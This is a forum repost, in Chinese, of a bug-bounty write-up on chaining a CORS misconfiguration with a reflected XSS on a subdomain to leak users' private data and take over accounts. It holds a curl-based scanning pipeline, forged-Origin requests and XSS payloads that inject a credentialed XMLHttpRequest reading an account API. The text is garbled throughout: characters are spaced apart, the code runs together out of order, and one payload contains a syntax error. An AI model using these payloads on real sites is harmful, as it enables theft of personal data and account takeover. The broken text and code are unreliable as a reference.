搜索

[29066] 2021-07-14_【渗透测试】通过反射型XSS将CORS链接到帐户接管

文档创建者：s7ckTeam
浏览次数：76
最后更新：2025-01-19
2021-07-14_【渗透测试】通过反射型XSS将CORS链接到帐户接管 【 渗 透 测 试 】 通 过 反 射 型   X S S   将   C O R S   链 接 到 帐 户 接 管 O t s 安 全   2 0 2 1 - 0 7 - 1 4 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 我 的 名 字 是   S a n t o s h   K u m a r   S h a ， 我 是 来 自 印 度 （ 阿 萨 姆 邦 ） 的 安 全 研 究 员 。 在 本 文 中 ， 我 将 描 述 我 如 何 通 过 将   C O R S   错 误 配 置 与   R e f l e c t e d   X S S   链 接 来 泄 漏 私 人 信 息 并 最 终 接 管 帐 户 来 利 用   C O R S   错 误 配 置 。 提 示 寻 找 提 示 寻 找   C O R S   错 误 ： 错 误 ： 这 是 我 查 找   C O R S   错 误 的 工 作 流 程 。 第 一 的 ： 第 一 的 ： B u r p s u i t e   的   S p i d e r   主 机 。 我 喜 欢 将 旧 版 本 用 于 蜘 蛛 的   b u r p   套 件 。 蜘 蛛 后 ， 主 机 复 制 所 有   U R L   并 将 它 们 保 存 在 一 个 文 本 文 件 中 。 或 者 情 况 1 易 受 攻 击 的 端 点 易 受 攻 击 的 端 点 大 约 一 周 前 ， 我 正 在 破 解 这 个 公 共 漏 洞 赏 金 计 划 ， 在 使 用   H T T P   请 求 中 的   O r i g i n   标 头 后 ， 然 后 检 查 服 务 器 响 应 以 检 查 它 们 是 否 进 行 域 白 名 单 检 查 ， 我 注 意 到 该 应 用 程 序 仅 盲 目 地 将 子 域 ， 甚 至 不 存 在 的 子 域 。 出 于 隐 私 原 因 和 负 责 任 的 披 露 政 策 ， 我 们 假 设   W e b   应 用 程 序 托 管 在 ： w w w . a t t a c k e r . c o m 这 种   C O R S   错 误 配 置 看 起 来 像 这 样 ： H T T P 请 求 ： H T T P 响 应 ： 这 个   A P I   端 点 正 在 返 回 用 户 的 私 人 信 息 ， 如 全 名 、 电 子 邮 件 地 址 、 密 码 、 护 照 号 码 、 银 行 详 细 信 息 等 为 了 滥 用 这 种 错 误 配 置 以 便 我 们 可 以 执 行 攻 击 ， 例 如 泄 露 用 户 的 私 人 信 息 ， 我 们 需 要 声 明 一 个 废 弃 的 子 域 （ 子 域 接 管 ） 或 在 现 有 子 域 之 一 中 找 到   X S S 。 链 接 错 误 以 获 得 更 高 的 影 响 ： 案 例 # 2 所 以 我 决 定 采 用 第 二 个 选 项 ， 在 现 有 子 域 之 一 中 查 找   X S S 。 我 很 快 做 了 一 些 谷 歌   D o r k i n g   并 在 子 域 之 一 假 设   t e s t . a t t a c k e r . c o m   中 发 现 了 一 个 反 射 型   X S S 。 这 是 我 用 来 查 找   X S S   的   g o o g l e   d o r k 。 然 后 我 打 开   U R L   并 在 源 页 面 中 搜 索 隐 藏 和   v a r   字 符 串 ， 看 看 它 们 是 否 反 映 了 。 一 旦 我 发 现 他 们 子 域 上 的 反 射   X S S   就 很 容 易 被 利 用 。 是 时 候 创 建 一 个 很 好 的 概 念 证 明 并 提 交 报 告 了 P O C 时 间 ： 时 间 ： 所 以 要 利 用 这 个   C O R S   M i s c o n f i g u r a t i o n ， 我 们 只 需 要 用 以 下 代 码 替 换   X S S   负 载 警 报 （ d o c u m e n t . d o m a i n ） ： c a t   c o r s t e x t u r l . t x t   |   C o r s M e c a t   c o r s t e x t u r l . t x t   |   s o r u   - u   |   a n e w   |   x a r g s   - n   1   - I { }   c u r l   - s k   - H   “ O r i g i n :   t e s t . c o m ”   |   g r e p   “ A c c e s s - c o n t r o l - a l l o w - o r i g i n :   t e s t . c o m ” c a t   c o r s t e x t u r l . t x t   |   s o r u   - u   |   a n e w   | w h i l e   r e a d   h o s t   d o   ;   d o   c u r l   - s   —   p a t h - a s - i s   —   i n s e c u r e   - H   “ O r i g i n :   t e s t . c o m ”   “ $ h o s t ”   |   g r e p   - q s   “ A c c e s s - c o n t r o l - a l l o w - o r i g i n :   t e s t . c o m ”   & &   e c h o   “ $ h o s t   0 3 3 [ 0 ; 3 1 m ”   c o r s   V u l n e r a b l e ; d o n e   G E T   / a p i / r e t u r n   H T T P / 1 . 1   H o s t :   w w w . a t t a c k e r . c o m   O r i g i n :   e v i l . a t t a c k e r . c o m   C o n n e c t i o n :   c l o s e   H T T P / 1 . 1   2 0 0   O K   A c c e s s - c o n t r o l - a l l o w - c r e d e n t i a l s :   t r u e   A c c e s s - c o n t r o l - a l l o w - o r i g i n :   e v i l . a t t a c k e r . c o m h t t p s : / / t e s t . a t t a c k e r . c o m / p a t t e r . j s p ? a c c t = " > < s c r i p t > a l e r t ( d o c u m e n t . d o m a i n ) < / s c r i p t > s i t e : * . a t t a c k e r . c o m   - w w w   e x t : j s p h t t p s : / / t e s t . a t t a c k e r . c o m / p a t t e r . j s p ? a c c t =   " > < s c r i p t > a l e r t ( d o c u m e n t . d o m a i n ) < / s c r i p t > f u n c t i o n   c o r s ( )   {     v a r   x h t t p   =   n e w   X M L H t t p R e q u e s t ( ) ;     x h t t p . o n r e a d y s t a t e c h a n g e   =   f u n c t i o n ( )   {                 i f   ( t h i s . s t a t u s   = =   2 0 0 )   {                 a l e r t ( t h i s . r e s p o n s e T e x t ) ;                   d o c u m e n t . g e t E l e m e n t B y I d ( " d e m o " ) . i n n e r H T M L   =   t h i s . r e s p o n s e T e x t ;                 }     } ;     x h t t p . o p e n ( " G E T " ,   " h t t p s : / / w w w . a t t a c k e r . c o m / a p i / a c c o u n t " ,   t r u e ) ;     x h t t p . w i t h C r e d e n t i a l s   =   t r u e ;     x h t t p . s e n d ( ) ; } c o r s ( ) ;
像 这 样 ： 和   B O O M ， 我 们 现 在 有 一 个 很 好 的   P o C ， 用 于 泄 露 私 人 信 息 ： 我 相 信 很 多 安 全 研 究 人 员 已 经 遇 到 过 这 种 情 况 ， 你 可 以 在   H a c k e r O n e   中 找 到 很 多 描 述 这 种   C O R S   错 误 配 置 的 报 告 ， 但 只 有 少 数 人 能 够 充 分 利 用 它 ， 因 为 缺 乏 P o C   在 他 们 的 报 告 中 。 这 就 是 我 想 分 享 我 的 经 验 的 原 因 之 一 。 还 强 调 了 利 用 此 类 漏 洞 的 其 他 技 术 。 阅 读 原 文 h t t p s : / / t e s t . a t t a c k e r . c o m / p a t t e r . j s p ? f a c c t =   " >   < s c r i p t >   f u n c t i o n % 2 0 c o r s ( ) { v a r % 2 0 x h t t p = n e w % 2 0 X M L H t t p R e q u e s t ( ) ; x h t t p . o n r e a d y s t a t e c h a n g e = f u n c t i o n ( ) { i f ( t h i s . s t a t u s )   = = 2 0 0 )   a l e r t ( t h i s . r e s p o n s e T e x t ) ; d o c u m e n t . g e t E l e m e n t B y I d ( " d e m o " ) . i n n e r H T M L = t h i s . r e s p o n s e T e x t } } ; x h t t p . o p e n ( " G E T " , " h t t p s : / / w w w . a t t a c k e r . c o m / a p i / a c c o u n t   " , t r u e ) ; x h t t p . w i t h C r e d e n t i a l s = t r u e ; x h t t p . s e n d ( ) } c o r s ( ) ;   < / s c r i p t >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理